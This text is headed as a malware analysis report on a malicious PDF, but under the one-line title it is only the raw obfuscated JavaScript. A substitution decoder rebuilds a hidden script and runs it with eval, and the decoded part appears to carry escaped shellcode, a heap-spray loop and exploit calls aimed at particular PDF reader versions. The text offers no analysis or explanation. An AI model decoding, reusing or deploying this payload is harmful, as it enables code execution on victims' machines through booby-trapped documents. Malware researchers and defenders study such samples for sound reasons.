Malicious PDF — malware analysis report

function JWUZf(JWUZf,phEftrq2wmBL) {var AmOYAUAxMZJOShYhP9R=JWUZf. substr (phEftrq2wmBL, 1);return AmOYAUAxMZJOShYhP9R;}/*Oks9lqbfbeaW|ovI9v5|KFacmzA2*/function f3pAHf1qQZzGs(MXyH237KtLMdoE) {/*SUC2DCdud9L8ZhGDTO|EKPPP|s1fsuTAEW3HYX12*/var sljmRj = new String("<>(){} .,ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789");/*C0vk6z3L28[INlx6dTpNm]S9jZY6RQSUHE4E3*//*Pwwl4ANs6rBm5oSNn1|By4SHPZLJdF8t2v|wvjfsQhULL*/var wbaD0PJj2V7qczka /*ZyeC0T7IaMilWCr[wjGIW1r1k8]AKkijZDmPWj*/= new String("KO0PEpCk>RsnJ<Z2.eH j3MrDLGu5,B7iby)NlXwQa{Fg6dzV}hASUYtqf1Im8vTcW9ox(4");/*ww7YI9Gdwpj|Cbm3ClS7v2fVSj8i6i7|U4Hd4O7q3hl58NzA*/for(TmMxQ=0;TmMxQ<sljmRj.length;TmMxQ++) {if(MXyH237KtLMdoE == JWUZf(wbaD0PJj2V7qczka, TmMxQ)) {/*I8kBe6TD429czsxt0Q[FNU8u64tKuu93sk]MgOPbGP458rpz7T4Lo3*/return JWUZf(sljmRj, TmMxQ);/*lypvjZvcIVXU2mkTszNo <AUo2oiEScB4Rqp0GbT]wqjoSJ8B*/}}return MXyH237KtLMdoE;}/*MqxHBcApBE8dF2vwil39[Ivlra40Y6zknnroGrTH]Rl2KWos7ir2qdeX4Z*//*TWD39rln|T74GPf8Z2nIzL0s1U|OOmch8gb*/var TdYGlw1ZVB2YK = new String;var skuMPSQu = new String("\nq)SCY,lYU,)ZqLIH.xT.C=CVwfCRSS)I0P;\nq)SCryu7QnHZflB<BVDA;\nQtVlYF}VCuT687 ru6Mdc,z 30aVUcms.f}Vs ))RU>CetT4ZLNm}3ce83wBPE\nCCf{FdwC0aVUcms.f}Vs ))RUkdwVaY{C*CTCKCetT4ZLNm}3ce83wBPE\nCCCCaVUcms.f}Vs ))RUC+=CaVUcms.f}Vs ))RU;\nCCp\nCCaVUcms.f}Vs ))RUC=CaVUcms.f}Vs ))RUkUtNUYSFVa08>CetT4ZLNm}3ce83wBC/CTP;\nCCSwYtSVCaVUcms.f}Vs ))RU;\np\nQtVlYF}VCf7i8{hx7X.A<Uvx,0U4XRy<RMNnQ6yHZgPE\nCCq)SCzVUbXm92.t,8q)wSC=C818l8l8l8l;\nCCq)SCf.ce7nQ(DjUmQ4F7C=CtVwUl)hw0\"%tWcWc%tWcWc%tWcWc%t8Z<s%tcc9s%toon4%t(8s4%t(88v%t<Zcc%t<TWc%t<sZR%t<(89%tZZ<n%tZZZZ%t(sxZ%tJZW<%t<Z<Z%toW<Z%t<cRZ%t4ZoW%tWTZc%t4ZoW%to<<x%t<Z8c%t<Z<s%toW<Z%ts48c%tov(x%t<vRv%t8x8c%t<Zvv%t<Z<Z%tRRoo%ts4<s%txx(x%to9vv%t8x<v%t<ZvZ%t<Z<Z%tRRoo%ts4<x%tnR(x%tv89Z%t8xTJ%t<Z8J%t<Z<Z%tRRoo%ts4<c%t88(x%t8ZTv%t8x(Z%t<Zcs%t<Z<Z%tRRoo%ts4ZZ%tT<(x%t8R4o%t8x9x%t<ZT4%t<Z<Z%tRRoo%tRZZs%tJxoZ%t4RTn%toov9%tZxRR%t<(8o%t<Z<<%tsv<Z%t4Roo%toWns%t<sRR%t<<(9%toWso%tZxsR%t8xs4%t<ZoW%t<Z<Z%t(xsZ%tZ9J4%t4Zn8%tx(8x%t<Z<Z%too<Z%tZcRR%tTRoW%tTZon%toosZ%tnZRR%tv8(x%t<Z<Z%tsZ<Z%tRRoW%t(9Zs%tso<J%tsRoW%t8xZx%t<Z(<%t<Z<Z%tRR<n%tT(nZ%tsc<Z%tnv4v%tT((R%t<sRZ%t(R4x%t<Z<Z%t4Rv8%toWnZ%t<cRR%t<<(9%toWso%tZxsR%tRZ8x%t<Z<Z%t(9<Z%tsx<(%tRR<n%tJnns%tsncW%tv8sn%tnZ4R%tsnsZ%tRRoW%t(9Zc%tso<R%tsRoW%t8xZx%t<Znn%t<Z<Z%t<Z(9%t4Rv8%toWnZ%t<xRR%t<J(9%toWso%tZxsR%tZZ8x%t<Z<Z%t(9<Z%toWv8%tZZRR%t<<(9%toWso%tZxsR%t<Z8x%t<Z<Z%tR<<Z%tsJsW%t8<<n%t8<<n%t8<<n%t8<<n%t8con%ts9<s%toWsn%t8Jc9%tsJv(%t8Zv8%toWsR%toW8c%t<x4T%tsToW%ts4<c%t4noW%toWJc%tZv4s%t<n4x%ts4vn%t44oW%t<nnZ%tJnvn%tRoTo%tWTR<%tTn<n%tJns4%t<8v4%tZZ9v%tvJJ9%t<x4s%tTvT<%t<n<T%tRZvJ%tv<8W%tvvJW%t4Rsv%ts98R%t8WoW%ts9oW%t<nns%t(4cT%t<coW%toWRW%tZcs9%tcT<n%t<soW%t<noW%tsvTR%tTJsT%t<Z<x%tvs8x%tv8vv%tsRv8%tRcsJ%tR8RT%t<ZRv%txWo(%tx8xW%tTZcR%toWTZ%toJc8%tcvov%txco<%to4T<%tooo<%tTZoZ%tonoT%toxoZ%tonTZ%tovoZ%tT<oW%to(x8%tcZx8%toWo4%tc4cJ%t88c8\"P;\nCCFQC0U4XRy<RMNnQ6yHZgC==CvPE\nCCCCzVUbXm92.t,8q)wSC=C81c8c8c8c8;\nCCCCf.ce7nQ(DjUmQ4F7C=CtVwUl)hw0\"%tWcWc%tWcWc%tWcWc%t8Z<s%tcc9s%toon4%t(8s4%t(88v%t<Zcc%t<TWc%t<sZR%t<(89%tZZ<n%tZZZZ%t(sxZ%tJZW<%t<Z<Z%toW<Z%t<cRZ%t4ZoW%tWTZc%t4ZoW%to<<x%t<Z8c%t<Z<s%toW<Z%ts48c%tov(x%t<vRv%t8x8c%t<Zvv%t<Z<Z%tRRoo%ts4<s%txx(x%to9vv%t8x<v%t<ZvZ%t<Z<Z%tRRoo%ts4<x%tnR(x%tv89Z%t8xTJ%t<Z8J%t<Z<Z%tRRoo%ts4<c%t88(x%t8ZTv%t8x(Z%t<Zcs%t<Z<Z%tRRoo%ts4ZZ%tT<(x%t8R4o%t8x9x%t<ZT4%t<Z<Z%tRRoo%tRZZs%tJxoZ%t4RTn%toov9%tZxRR%t<(8o%t<Z<<%tsv<Z%t4Roo%toWns%t<sRR%t<<(9%toWso%tZxsR%t8xs4%t<ZoW%t<Z<Z%t(xsZ%tZ9J4%t4Zn8%tx(8x%t<Z<Z%too<Z%tZcRR%tTRoW%tTZon%toosZ%tnZRR%tv8(x%t<Z<Z%tsZ<Z%tRRoW%t(9Zs%tso<J%tsRoW%t8xZx%t<Z(<%t<Z<Z%tRR<n%tT(nZ%tsc<Z%tnv4v%tT((R%t<sRZ%t(R4x%t<Z<Z%t4Rv8%toWnZ%t<cRR%t<<(9%toWso%tZxsR%tRZ8x%t<Z<Z%t(9<Z%tsx<(%tRR<n%tJnns%tsncW%tv8sn%tnZ4R%tsnsZ%tRRoW%t(9Zc%tso<R%tsRoW%t8xZx%t<Znn%t<Z<Z%t<Z(9%t4Rv8%toWnZ%t<xRR%t<J(9%toWso%tZxsR%tZZ8x%t<Z<Z%t(9<Z%toWv8%tZZRR%t<<(9%toWso%tZxsR%t<Z8x%t<Z<Z%tR<<Z%tsJsW%t8<<n%t8<<n%t8<<n%t8<<n%t8con%ts9<s%toWsn%t8Jc9%tsJv(%t8Zv8%toWsR%toW8c%t<x4T%tsToW%ts4<c%t4noW%toWJc%tZv4s%t<n4x%ts4vn%t44oW%t<nnZ%tJnvn%tRoTo%tWTR<%tTn<n%tJns4%t<8v4%tZZ9v%tvJJ9%t<x4s%tTvT<%t<n<T%tRZvJ%tv<8W%tvvJW%t4Rsv%ts98R%t8WoW%ts9oW%t<nns%t(4cT%t<coW%toWRW%tZcs9%tcT<n%t<soW%t<noW%tsvTR%tTJsT%t<Z<x%tvs8x%tv8vv%tsRv8%tRcsJ%tR8RT%t<ZRv%txWo(%tx8xW%tTZcR%toWTZ%toJc8%tcvov%txco<%to4T<%tooo<%tTZoZ%tonoT%toxoZ%tonTZ%tovoZ%tT<oW%to(x8%tcZx8%toWo4%tc4cJ%t88c8\"P;\nCCp\nCCwdUwCFQC0U4XRy<RMNnQ6yHZgC==CTPE\nCCCCf.ce7nQ(DjUmQ4F7C=CtVwUl)hw0\"%tWcWc%tWcWc%tWcWc%t8Z<s%tcc9s%toon4%t(8s4%t(88v%t<Zcc%t<TWc%t<sZR%t<(89%tZZ<n%tZZZZ%t(sxZ%tJZW<%t<Z<Z%toW<Z%t<cRZ%t4ZoW%tWTZc%t4ZoW%to<<x%t<Z8c%t<Z<s%toW<Z%ts48c%tov(x%t<vRv%t8x8c%t<Zvv%t<Z<Z%tRRoo%ts4<s%txx(x%to9vv%t8x<v%t<ZvZ%t<Z<Z%tRRoo%ts4<x%tnR(x%tv89Z%t8xTJ%t<Z8J%t<Z<Z%tRRoo%ts4<c%t88(x%t8ZTv%t8x(Z%t<Zcs%t<Z<Z%tRRoo%ts4ZZ%tT<(x%t8R4o%t8x9x%t<ZT4%t<Z<Z%tRRoo%tRZZs%tJxoZ%t4RTn%toov9%tZxRR%t<(8o%t<Z<<%tsv<Z%t4Roo%toWns%t<sRR%t<<(9%toWso%tZxsR%t8xs4%t<ZoW%t<Z<Z%t(xsZ%tZ9J4%t4Zn8%tx(8x%t<Z<Z%too<Z%tZcRR%tTRoW%tTZon%toosZ%tnZRR%tv8(x%t<Z<Z%tsZ<Z%tRRoW%t(9Zs%tso<J%tsRoW%t8xZx%t<Z(<%t<Z<Z%tRR<n%tT(nZ%tsc<Z%tnv4v%tT((R%t<sRZ%t(R4x%t<Z<Z%t4Rv8%toWnZ%t<cRR%t<<(9%toWso%tZxsR%tRZ8x%t<Z<Z%t(9<Z%tsx<(%tRR<n%tJnns%tsncW%tv8sn%tnZ4R%tsnsZ%tRRoW%t(9Zc%tso<R%tsRoW%t8xZx%t<Znn%t<Z<Z%t<Z(9%t4Rv8%toWnZ%t<xRR%t<J(9%toWso%tZxsR%tZZ8x%t<Z<Z%t(9<Z%toWv8%tZZRR%t<<(9%toWso%tZxsR%t<Z8x%t<Z<Z%tR<<Z%tsJsW%t8<<n%t8<<n%t8<<n%t8<<n%t8con%ts9<s%toWsn%t8Jc9%tsJv(%t8Zv8%toWsR%toW8c%t<x4T%tsToW%ts4<c%t4noW%toWJc%tZv4s%t<n4x%ts4vn%t44oW%t<nnZ%tJnvn%tRoTo%tWTR<%tTn<n%tJns4%t<8v4%tZZ9v%tvJJ9%t<x4s%tTvT<%t<n<T%tRZvJ%tv<8W%tvvJW%t4Rsv%ts98R%t8WoW%ts9oW%t<nns%t(4cT%t<coW%toWRW%tZcs9%tcT<n%t<soW%t<noW%tsvTR%tTJsT%t<Z<x%tvs8x%tv8vv%tsRv8%tRcsJ%tR8RT%t<ZRv%txWo(%tx8xW%tTZcR%toWTZ%toJc8%tcvov%txco<%to4T<%tooo<%tTZoZ%tonoT%toxoZ%tonTZ%tovoZ%tT<oW%to(x8%tcZx8%toWo4%tc4cJ%t88c8\"P;\nCCp\nCCq)SC1N9b)8}SWHTmtQAXC=C81W88888;\nCCq)SCAUf5olNB15,XNJ8iC=Cf.ce7nQ(DjUmQ4F7kdwVaY{C*CT;\nCCq)SCetT4ZLNm}3ce83wBC=C1N9b)8}SWHTmtQAXC-C0AUf5olNB15,XNJ8iC+C81c(P;\nCCq)SCaVUcms.f}Vs ))RUC=CtVwUl)hw0\"%t4848%t4848\"P;\nCCaVUcms.f}Vs ))RUC=CuT687 ru6Mdc,z 30aVUcms.f}Vs ))RU>CetT4ZLNm}3ce83wBP;\nCCq)SCe<xDMq.G<HL4I.zqC=C0zVUbXm92.t,8q)wSC-C81W88888PC/C1N9b)8}SWHTmtQAX;\nCCQ}SC0q)SCGgD2jvdH,2fo,xXeC=C8;CGgD2jvdH,2fo,xXeCKCe<xDMq.G<HL4I.zq;CGgD2jvdH,2fo,xXeC++CPE\nCCCCY,lYU,)ZqLIH.xT.[GgD2jvdH,2fo,xXe]C=CaVUcms.f}Vs ))RUC+Cf.ce7nQ(DjUmQ4F7;\nCCp\np\nQtVlYF}VClgF{wv8UH)TeS}Jc0PE\nCCq)SCwXeYX9J4 8<}2S()C=C8;\nCCq)SCGAeZSG4Rc85YI{f7C=C)hhkqFwfwSBwSUF}VkY}uYSFVa0P;\nCC)hhkldw)S5FzwrtY0ryu7QnHZflB<BVDAP;\n\nCCFQC0GAeZSG4Rc85YI{f7CKCxkvPE\nCCCCf7i8{hx7X.A<Uvx,08P;\nCCCCq)SC7<LIeXxXV uWs)wzC=CtVwUl)hw0\"%t8l8l%t8l8l\"P;\nCCCCf{FdwC07<LIeXxXV uWs)wzkdwVaY{CKCWW49TP7<LIeXxXV uWs)wzC+=C7<LIeXxXV uWs)wz;\nCCCCY{FUCkl}dd)NuY}SwC=Cn}dd)Nkl}ddwlY<z)FdeVQ}0E\nCCCCCCUtNgC:C\"\">CzUaC:C7<LIeXxXV uWs)wz\nCCCCp\nCCCCP;\nCCp\nFQC0GAeZSG4Rc85YI{f7CO=C4PE\nCCCCYSICE\nFQC0)hhkX}lkn}dd)NkawYel}VPE\nCCCCCCCCf7i8{hx7X.A<Uvx,0TP;\nCCCCCCCCq)SC)fTer8uGHfjeX.}1C=CtVwUl)hw0\"%84\"P;\nCCCCCCCCf{FdwC0)fTer8uGHfjeX.}1kdwVaY{CKC81W888P)fTer8uGHfjeX.}1C+=C)fTer8uGHfjeX.}1;\nCCCCCCCC)fTer8uGHfjeX.}1C=C\"Mk\"C+C)fTer8uGHfjeX.}1;\n)hhkX}lkn}dd)NkawYel}V0)fTer8uGHfjeX.}1P;\nCCCCCCCCwXeYX9J4 8<}2S()C=Cv;\nCCCCCCp\nCCCCCCwdUwCE\nCCCCCCCCwXeYX9J4 8<}2S()C=Cv;\nCCCCCCp\nCCCCp\nCCCCl)Yl{C0wPE\nCCCCCCwXeYX9J4 8<}2S()C=Cv;\nCCCCp\nCCCCFQC0wXeYX9J4 8<}2S()C==CvPE\nCCCCCCFQC00GAeZSG4Rc85YI{f7CO=Cxkv&&CGAeZSG4Rc85YI{f7CKC4PPE\nCCCCCCCCf7i8{hx7X.A<Uvx,0vP;\nCCCCCCCCq)SCL<q}UcuQ3tgb,MjqC=C\"vT444444444444444444\";\nCCCCCCCCQ}SC0jMJgiaRSlB82zIJeC=C8;CjMJgiaRSlB82zIJeCKCTxo;CjMJgiaRSlB82zIJeC++CPE\nCCCCCCCCCCL<q}UcuQ3tgb,MjqC+=C\"(\";\nCCCCCCCCp\nCCCCCCCCtYFdkhSFVYQ0\"%W9888Q\">CL<q}UcuQ3tgb,MjqP;\nCCCCCCp\nCCCCp\nCCp\np\n)hhkS8(osy6b55(ISutsC=ClgF{wv8UH)TeS}Jc;\nryu7QnHZflB<BVDAC=C)hhkUwY5FzwrtY0\")hhkS8(osy6b55(ISuts0P\">Cv8P;\n");/*NDlBWj6dycbOUFWKQN2I{FXwszTrWvokyQ}LziooAG2ULPfcd*//*kAd7wMxG3K1|uqzW1o4gT4mMP|buQ5I15mzsznzsxqQ*/for(Ab3uD=0;Ab3uD<skuMPSQu.length;Ab3uD++)TdYGlw1ZVB2YK += f3pAHf1qQZzGs(JWUZf(skuMPSQu,Ab3uD));eval(TdYGlw1ZVB2YK);/*XF3OuxvEsXQ8M[tdn2UjfJRUwGCjxT]KZAZKy*/